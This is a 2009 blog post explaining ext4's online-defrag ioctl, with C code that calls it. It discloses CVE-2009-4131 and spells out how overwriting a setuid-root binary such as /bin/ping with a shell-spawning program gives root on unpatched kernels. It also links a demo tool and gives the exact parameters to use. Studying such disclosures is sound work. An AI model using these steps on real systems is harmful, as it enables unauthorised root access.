Archive

Archive for December, 2009

Ext4 online defrag and how you can mess up everything when implementing it

December 20th, 2009 Fotis 2 comments

It’s been a long time since I last posted something at my blog. Unfortunatelly, I’m too busy so I have almost no time to write something!

This post is about the online defrag the ext4 filesystem supports. It is a very cool feature and allows you to defrag any file without even unmounting a filesystem! This is done using a special ioctl, EXT4_IOC_MOVE_EXT defined as follows:

1
#define EXT4_IOC_MOVE_EXT   _IOWR('f', 15, struct move_extent)

As you can see the ioctl’s last parameter is a special structure, struct move_extent, defined as:

1
2
3
4
5
6
7
8
struct move_extent {
    int orig_fd;
    int donor_fd;
    uint64_t orig_start;
    uint64_t donor_start;
    uint64_t len;
    uint64_t moved_len;
};

What the ioctl does is copy len extents from the file with descriptor orig_fd starting with orig_start to the one with descriptor donor_fd starting at donor_start. Finally it returns the total number of extents moved at the member moved_len. Using this syscall it is pretty easy to defrag files. You must first open a new file, which will be the donor, and allocate some space using fallocate. Hopefully the extents of the new file will be less than the ones of the original file so you just swap the extents of donor using the ones from the original file. The following code is a simple call to this ioctl which can help you understand how it works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int origfd, donorfd;
int origsize;
struct move_extent me;
char *origfile, *donorfile;
 
/* origfile, donorfile and origsize should be set here */
 
if((origfd = open(origfile, O_RDONLY | O_EXCL)) < 0) {
    perror("Cannot open original file");
    exit(1);
}
 
if((donorfd = open(donorfile, O_WRONLY | O_CREAT | O_EXCL)) < 0) {
    perror("Cannot create donor file");
    exit(1);
}
 
if(fallocate(donorfd, 0, 0, origsize) < 0) {
    perror("Cannot allocate space for donor");
    exit(1);
}
 
memset(&me, 0, sizeof(me));
me.orig_fd = origfd;
me.donor_fd = donorfd;
me.orig_start = 0;
me.donor_start = 0;
me.len = extentcnt;
 
if(ioctl(origfd, EXT4_IOC_MOVE_EXT, &me) < 0) {
    perror("Cannot move extents");
    exit(1);
}
 
printf("Moved extents: %i\n", me.moved_len);
 
close(origfd);
close(donorfd);

You should note that there is no restriction on the doner file, it can be any file on the disk.

And here it is! CVE-2009-4131! Until commit 910123ba363623f15ffb5d05dd87bdf06d08c609 the only check was if the user could read the donor file, not write it! Furthermore, there were no checks on the file’s mode. You can simply open your program which executes /bin/sh as the original file, /bin/ping as the donor and kaboom! /bin/ping is an suid root executable and the code that will be executed will be your code!

I have written a small program that you can use to demonstrate this vulnerability. It simply moves extents. You can download it here. Just use a program that spawns a shell as the original file, a suid root file as a donor, zero as the offset and ceil(filesize/1024) as len. However, it is not very usable yet since for some strange reason you need to unmount the fs and then remount it in order for the changes to take effect. If you find a solution just leave a comment!

UPDATE: Try reading a LOT of data from the partition after running the program! Damn cache! I shouldn’t have been working with a filesystem that’s 10mbs and store only the executable there!

Categories: Linux, Programming Tags:
SEO Powered by Platinum SEO from Techblissonline